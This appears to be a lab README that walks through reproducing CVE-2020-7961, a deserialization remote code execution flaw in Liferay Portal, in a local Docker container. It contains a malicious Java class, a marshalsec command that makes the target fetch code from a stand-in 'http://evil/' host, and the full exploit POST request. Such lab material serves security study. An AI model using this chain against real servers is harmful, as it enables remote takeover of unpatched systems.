# Liferay Portal CE Deserialization Remote Code Execution (CVE-2020-7961)

[中文版本(Chinese version)](README.zh-cn.md)

Liferay Portal CE is an open-source platform for rapid website development. Versions 7.2.0 GA1 and earlier contain a deserialization vulnerability in the API interface, allowing attackers to execute arbitrary commands on the target server via crafted requests.

References:

- <https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html>
- <https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Liferay%20Portal%20CVE-2020-7961%20%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/>
- <https://xz.aliyun.com/t/7499>
- <https://xz.aliyun.com/t/7485>

## Environment Setup

Execute the following command to start Liferay Portal 7.2.0 GA1:

```
docker compose up -d
```

After the container starts, visit `http://your-ip:8080` to access the default homepage. If the server fails to start, ensure your system has at least 2GB of memory.

## Vulnerability Reproduction

First, create and compile a malicious Java class:

```java
// javac LifExp.java
public class LifExp {
    static {
        try {
            String[] cmd = {"bash", "-c", "touch /tmp/success"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

Start an HTTP file server in the directory containing the class file:

```
$ ls
LifExp.class  LifExp.java

$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

Because the target uses a high Java version, use the `com.mchange.v2.c3p0.WrapperConnectionPoolDataSource` gadget chain. Generate a Jackson-compatible payload with [marshalsec](https://github.com/mbechler/marshalsec):

```
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://evil/ LifExp
```

Here, `http://evil/` is the address of your HTTP server, and `LifExp` is the malicious class name.

![](1.png)

Modify the generated payload to match Liferay Portal's format (`+parameter_name:class_name=value`):

```
+defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap: ;"}
```

Send the payload in an HTTP POST request:

```
POST /api/jsonws/invoke HTTP/1.1
Host: your-ip:8080
Content-Length: 1346
Content-Type: application/x-www-form-urlencoded
Connection: close

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap: ;"}
```

![](2.png)

Enter the container and verify that `/tmp/success` has been created, indicating successful code execution:

![](3.png)
